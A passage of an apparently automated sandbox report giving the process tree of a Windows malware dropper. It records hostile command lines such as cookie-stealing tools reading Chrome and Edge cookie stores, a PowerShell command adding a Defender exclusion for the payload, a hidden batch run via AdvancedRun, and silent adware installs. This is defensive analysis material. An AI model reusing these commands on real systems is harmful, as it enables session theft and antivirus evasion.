    PID:5484
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,14036639402013758551,18342286866266643697,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5288 /prefetch:1
    3⤵
    PID:5536
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2020,14036639402013758551,18342286866266643697,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4848 /prefetch:2
    3⤵
    PID:6568
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,14036639402013758551,18342286866266643697,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2536 /prefetch:1
    3⤵
    PID:4596
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,14036639402013758551,18342286866266643697,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5584 /prefetch:1
    3⤵
    PID:4560
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,14036639402013758551,18342286866266643697,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4764 /prefetch:1
    3⤵
    PID:4616
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\Folder.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Folder.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1540
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\Folder.exe
    "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Folder.exe" -a
    3⤵
    - Executes dropped EXE
    PID:3472
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\Info.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Info.exe"
  2⤵
  - Executes dropped EXE
  PID:4360
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4360 -s 244
    3⤵
    - Program crash
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:5340
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\Installation.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Installation.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:5376
- - C:\Users\Admin\Documents\UN3EZFKchIMnv6Dr0leoPKhx.exe
    "C:\Users\Admin\Documents\UN3EZFKchIMnv6Dr0leoPKhx.exe"
    3⤵
    - Executes dropped EXE
    PID:4940
  - - C:\Users\Admin\Documents\UN3EZFKchIMnv6Dr0leoPKhx.exe
      "C:\Users\Admin\Documents\UN3EZFKchIMnv6Dr0leoPKhx.exe"
      4⤵
      PID:2688
- - C:\Users\Admin\Documents\hYoeE5hFqkEuvqhTjmw8MCmM.exe
    "C:\Users\Admin\Documents\hYoeE5hFqkEuvqhTjmw8MCmM.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:5368
  - - C:\Users\Admin\Documents\hYoeE5hFqkEuvqhTjmw8MCmM.exe
      C:\Users\Admin\Documents\hYoeE5hFqkEuvqhTjmw8MCmM.exe
      4⤵
      PID:1436
- - C:\Users\Admin\Documents\Oryn26tHXTXfiJOgOUHgEWQC.exe
    "C:\Users\Admin\Documents\Oryn26tHXTXfiJOgOUHgEWQC.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:5276
  - - C:\Users\Admin\AppData\Local\Temp\11111.exe
      C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      PID:5332
  - - C:\Users\Admin\AppData\Local\Temp\11111.exe
      C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      PID:1680
- - C:\Users\Admin\Documents\HzWqg9gjd5UML3kuFjfEhExk.exe
    "C:\Users\Admin\Documents\HzWqg9gjd5UML3kuFjfEhExk.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:3404
  - - C:\Users\Admin\Documents\HzWqg9gjd5UML3kuFjfEhExk.exe
      C:\Users\Admin\Documents\HzWqg9gjd5UML3kuFjfEhExk.exe
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:5776
- - C:\Users\Admin\Documents\9HA8AUzkSkABD1aTFreqdLQL.exe
    "C:\Users\Admin\Documents\9HA8AUzkSkABD1aTFreqdLQL.exe"
    3⤵
    - Executes dropped EXE
    PID:5696
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5696 -s 244
      4⤵
      Suspicious use of SetThreadContext
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      PID:656
- - C:\Users\Admin\Documents\WHT3zTM8vyl0pN8u26LRRztd.exe
    "C:\Users\Admin\Documents\WHT3zTM8vyl0pN8u26LRRztd.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:5316
- - C:\Users\Admin\Documents\W6aLoR23mFu4mCrl5FGlu3hP.exe
    "C:\Users\Admin\Documents\W6aLoR23mFu4mCrl5FGlu3hP.exe"
    3⤵
    - Executes dropped EXE
    PID:5300
  - - C:\Users\Admin\Documents\W6aLoR23mFu4mCrl5FGlu3hP.exe
      C:\Users\Admin\Documents\W6aLoR23mFu4mCrl5FGlu3hP.exe
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1204
- - C:\Users\Admin\Documents\gQfPleKPYUO3IgUyG6oZeDBE.exe
    "C:\Users\Admin\Documents\gQfPleKPYUO3IgUyG6oZeDBE.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:5548
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5548 -s 304
      4⤵
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      PID:4716
- - C:\Users\Admin\Documents\2o84zq2hVylVfyFnNpUXwFWj.exe
    "C:\Users\Admin\Documents\2o84zq2hVylVfyFnNpUXwFWj.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:5464
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5464 -s 296
      4⤵
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      PID:1440
- - C:\Users\Admin\Documents\VXS2zUNs8c1vKDZu8VA8qxnQ.exe
    "C:\Users\Admin\Documents\VXS2zUNs8c1vKDZu8VA8qxnQ.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:5524
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5524 -s 252
      4⤵
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      PID:5568
- - C:\Users\Admin\Documents\lFiB_5K9hnEQX8DzFjlPBY31.exe
    "C:\Users\Admin\Documents\lFiB_5K9hnEQX8DzFjlPBY31.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Suspicious use of SetWindowsHookEx
    PID:5568
  - - C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
      "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      PID:3080
  - - C:\Program Files (x86)\Company\NewProduct\customer3.exe
      "C:\Program Files (x86)\Company\NewProduct\customer3.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      PID:3024
    - - C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:1692
    - - C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /DeleteCookiesWildcard "*.facebook.com"
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:6088
    - - C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        5⤵
        
        PID:5720
    - - C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /DeleteCookiesWildcard "*.facebook.com"
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:4132
    - - C:\Users\Admin\AppData\Local\Temp\22222.exe
        
        C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        5⤵
        
        PID:6776
    - - C:\Users\Admin\AppData\Local\Temp\22222.exe
        
        C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /DeleteCookiesWildcard "*.facebook.com"
        5⤵
        
        PID:6976
    - - C:\Users\Admin\AppData\Local\Temp\22222.exe
        
        C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        5⤵
        
        PID:7020
    - - C:\Users\Admin\AppData\Local\Temp\22222.exe
        
        C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /DeleteCookiesWildcard "*.facebook.com"
        5⤵
        
        PID:3560
  - - C:\Program Files (x86)\Company\NewProduct\jooyu.exe
      "C:\Program Files (x86)\Company\NewProduct\jooyu.exe"
      4⤵
      Executes dropped EXE
      PID:4620
    - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:1428
    - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:4196
- - C:\Users\Admin\Documents\gXEBS9ErjQRLqweha_8AC5QT.exe
    "C:\Users\Admin\Documents\gXEBS9ErjQRLqweha_8AC5QT.exe"
    3⤵
    - Executes dropped EXE
    PID:5560
  - - C:\Users\Admin\Documents\gXEBS9ErjQRLqweha_8AC5QT.exe
      "C:\Users\Admin\Documents\gXEBS9ErjQRLqweha_8AC5QT.exe"
      4⤵
      PID:6208
- - C:\Users\Admin\Documents\qMn_tJPqi2r4PCGE4bJHiVBA.exe
    "C:\Users\Admin\Documents\qMn_tJPqi2r4PCGE4bJHiVBA.exe"
    3⤵
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Checks whether UAC is enabled
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of AdjustPrivilegeToken
    PID:3384
- - C:\Users\Admin\Documents\lu45MPPlSXDcE87FXpGzebNT.exe
    "C:\Users\Admin\Documents\lu45MPPlSXDcE87FXpGzebNT.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:5532
- - C:\Users\Admin\Documents\uGITRZ1Q5t0sp0tv9uZRib6I.exe
    "C:\Users\Admin\Documents\uGITRZ1Q5t0sp0tv9uZRib6I.exe"
    3⤵
    - Executes dropped EXE
    - Windows security modification
    - Suspicious use of SetThreadContext
    - Suspicious use of AdjustPrivilegeToken
    PID:5040
  - - C:\Users\Admin\AppData\Local\Temp\aae53f7f-ac42-4725-a5fe-0ea089f670a6\AdvancedRun.exe
      "C:\Users\Admin\AppData\Local\Temp\aae53f7f-ac42-4725-a5fe-0ea089f670a6\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\aae53f7f-ac42-4725-a5fe-0ea089f670a6\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:4136
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\aae53f7f-ac42-4725-a5fe-0ea089f670a6\test.bat"
        5⤵
        
        PID:5432
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Documents\uGITRZ1Q5t0sp0tv9uZRib6I.exe" -Force
      4⤵
      PID:6540
  - - C:\Users\Admin\Documents\uGITRZ1Q5t0sp0tv9uZRib6I.exe
      "C:\Users\Admin\Documents\uGITRZ1Q5t0sp0tv9uZRib6I.exe"
      4⤵
      PID:6768
- - C:\Users\Admin\Documents\pTMuLJ8Llt3ZAyIu_jKMDOT6.exe
    "C:\Users\Admin\Documents\pTMuLJ8Llt3ZAyIu_jKMDOT6.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:5472
  - - C:\Users\Admin\Documents\pTMuLJ8Llt3ZAyIu_jKMDOT6.exe
      C:\Users\Admin\Documents\pTMuLJ8Llt3ZAyIu_jKMDOT6.exe
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:5312
- - C:\Users\Admin\Documents\chqsf1lkE_zkaAtdaYT5l3cV.exe
    "C:\Users\Admin\Documents\chqsf1lkE_zkaAtdaYT5l3cV.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of SetWindowsHookEx
    PID:5436
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      PID:5720
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5436 -s 232
      4⤵
      Program crash
      PID:6488
- - C:\Users\Admin\Documents\tc7tx2PYATrMO3q1RR7JDgxh.exe
    "C:\Users\Admin\Documents\tc7tx2PYATrMO3q1RR7JDgxh.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:5356
- - C:\Users\Admin\Documents\4IiTX4vYv1b3qLdHmypJF56x.exe
    "C:\Users\Admin\Documents\4IiTX4vYv1b3qLdHmypJF56x.exe"
    3⤵
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Checks whether UAC is enabled
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of AdjustPrivilegeToken
    PID:548
- - C:\Users\Admin\Documents\AlCWTV1YvTp6RqX1w0rqo08a.exe
    "C:\Users\Admin\Documents\AlCWTV1YvTp6RqX1w0rqo08a.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:1012
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1012 -s 296
      4⤵
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      PID:4584
- - C:\Users\Admin\Documents\HmiIeGHuclxHvR2b2VWhEtfh.exe
    "C:\Users\Admin\Documents\HmiIeGHuclxHvR2b2VWhEtfh.exe"
    3⤵
    - Executes dropped EXE
    PID:5648
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5648 -s 240
      4⤵
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      PID:5428
- - C:\Users\Admin\Documents\8fsyD3Gw2a2p5RQr7p20wmew.exe
    "C:\Users\Admin\Documents\8fsyD3Gw2a2p5RQr7p20wmew.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2812
- - C:\Users\Admin\Documents\xupkdoyrIX37kZkiYbuCg7XQ.exe
    "C:\Users\Admin\Documents\xupkdoyrIX37kZkiYbuCg7XQ.exe"
    3⤵
    - Executes dropped EXE
    PID:656
  - - C:\Users\Admin\Documents\xupkdoyrIX37kZkiYbuCg7XQ.exe
      C:\Users\Admin\Documents\xupkdoyrIX37kZkiYbuCg7XQ.exe
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1272
- - C:\Users\Admin\Documents\USk6VuEkJK4XsVXYU2D1C3Ec.exe
    "C:\Users\Admin\Documents\USk6VuEkJK4XsVXYU2D1C3Ec.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:1504
  - - C:\Users\Admin\Documents\USk6VuEkJK4XsVXYU2D1C3Ec.exe
      "C:\Users\Admin\Documents\USk6VuEkJK4XsVXYU2D1C3Ec.exe" -q
      4⤵
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      PID:5996
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5996 -s 976
        5⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:500
- - C:\Users\Admin\Documents\VUHljWwBSoWgPG29Im1iwYru.exe
    "C:\Users\Admin\Documents\VUHljWwBSoWgPG29Im1iwYru.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:3324
  - - C:\Users\Admin\AppData\Local\Temp\is-KOE84.tmp\VUHljWwBSoWgPG29Im1iwYru.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-KOE84.tmp\VUHljWwBSoWgPG29Im1iwYru.tmp" /SL5="$3024C,138429,56832,C:\Users\Admin\Documents\VUHljWwBSoWgPG29Im1iwYru.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      PID:560
    - - C:\Users\Admin\AppData\Local\Temp\is-OC4HG.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-OC4HG.tmp\Setup.exe" /Verysilent
        5⤵
        Executes dropped EXE
        Drops file in Program Files directory
        Suspicious use of SetWindowsHookEx
        
        PID:5900
      - C:\Program Files (x86)\GameBox INC\GameBox\note8876.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\note8876.exe"
        6⤵
        Executes dropped EXE
        
        PID:1908
      - C:\Program Files (x86)\GameBox INC\GameBox\Versiumresearch.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\Versiumresearch.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2200
        
        C:\Users\Admin\AppData\Roaming\1874953.exe
        
        "C:\Users\Admin\AppData\Roaming\1874953.exe"
        7⤵
        
        PID:5412
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 5412 -s 2080
        8⤵
        Program crash
        
        PID:6552
        
        C:\Users\Admin\AppData\Roaming\1125106.exe
        
        "C:\Users\Admin\AppData\Roaming\1125106.exe"
        7⤵
        
        PID:6832
        
        C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
        
        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
        8⤵
        
        PID:5748
        
        C:\Users\Admin\AppData\Roaming\5085482.exe
        
        "C:\Users\Admin\AppData\Roaming\5085482.exe"
        7⤵
        
        PID:6240
        
        C:\Users\Admin\AppData\Roaming\3663783.exe
        
        "C:\Users\Admin\AppData\Roaming\3663783.exe"
        7⤵
        
        PID:6716
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6716 -s 2304
        8⤵
        Program crash
        
        PID:2068
      - C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SID=717 CID=717 SILENT=1 /quiet
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of FindShellTrayWindow
        
        PID:5936
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner 1.0.0\install\FD7DF1F\Cleaner Installation.msi" SID=717 CID=717 SILENT=1 /quiet AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1628921533 SID=717 CID=717 SILENT=1 /quiet " SID="717" CID="717"
        7⤵
        
        PID:6844
      - C:\Program Files (x86)\GameBox INC\GameBox\askinstall53.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\askinstall53.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:680
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 680 -s 1984
        7⤵
        Program crash
        
        PID:7036
      - C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:6048
        
        C:\Users\Admin\AppData\Local\Temp\is-F83R3.tmp\MediaBurner2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-F83R3.tmp\MediaBurner2.tmp" /SL5="$20366,506086,422400,C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"
        7⤵
        Loads dropped DLL
        Suspicious use of SetWindowsHookEx
        
        PID:1280
        
        C:\Users\Admin\AppData\Local\Temp\is-GDKJJ.tmp\3377047_logo_media.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-GDKJJ.tmp\3377047_logo_media.exe" /S /UID=burnerch2
        8⤵
        
        PID:6736
        
        C:\Program Files\Common Files\WFHDHAGAJG\ultramediaburner.exe
        
        "C:\Program Files\Common Files\WFHDHAGAJG\ultramediaburner.exe" /VERYSILENT
        9⤵
        
        PID:6804
        
        C:\Users\Admin\AppData\Local\Temp\is-H6K85.tmp\ultramediaburner.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-H6K85.tmp\ultramediaburner.tmp" /SL5="$4027C,281924,62464,C:\Program Files\Common Files\WFHDHAGAJG\ultramediaburner.exe" /VERYSILENT
        10⤵
        
        PID:6168
        
        C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
        
        "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
        11⤵
        
        PID:3220
        
        C:\Users\Admin\AppData\Local\Temp\67-1a0ef-f98-276b1-1038f05c57965\Wokeqaecopae.exe
        
        "C:\Users\Admin\AppData\Local\Temp\67-1a0ef-f98-276b1-1038f05c57965\Wokeqaecopae.exe"
        9⤵
        
        PID:3048
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
        10⤵
        
        PID:2960
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffdee0446f8,0x7ffdee044708,0x7ffdee044718
        11⤵
        
        PID:6408
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad
        10⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6488
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffdee0446f8,0x7ffdee044708,0x7ffdee044718
        11⤵
        
        PID:7884
        
        C:\Users\Admin\AppData\Local\Temp\13-2df7a-aa8-e70bd-1d1c7efac71ca\Sawiruzhetu.exe
        
        "C:\Users\Admin\AppData\Local\Temp\13-2df7a-aa8-e70bd-1d1c7efac71ca\Sawiruzhetu.exe"
        9⤵
        
        PID:668
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0k4dzw4a.nqw\LivelyScreenRecorder.exe & exit
        10⤵
        
        PID:3288
        
        C:\Users\Admin\AppData\Local\Temp\0k4dzw4a.nqw\LivelyScreenRecorder.exe
        
        C:\Users\Admin\AppData\Local\Temp\0k4dzw4a.nqw\LivelyScreenRecorder.exe
        11⤵
        
        PID:1252
        
        C:\Users\Admin\AppData\Local\Temp\tmpD032_tmp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tmpD032_tmp.exe"
        12⤵
        
        PID:6676
        
        C:\Windows\SysWOW64\dllhost.exe
        
        "C:\Windows\System32\dllhost.exe"
        13⤵
        
        PID:7132
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c cmd < Presto.avi
        13⤵
        
        PID:3428
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd
        14⤵
        
        PID:2352
        
        C:\Windows\SysWOW64\findstr.exe
        
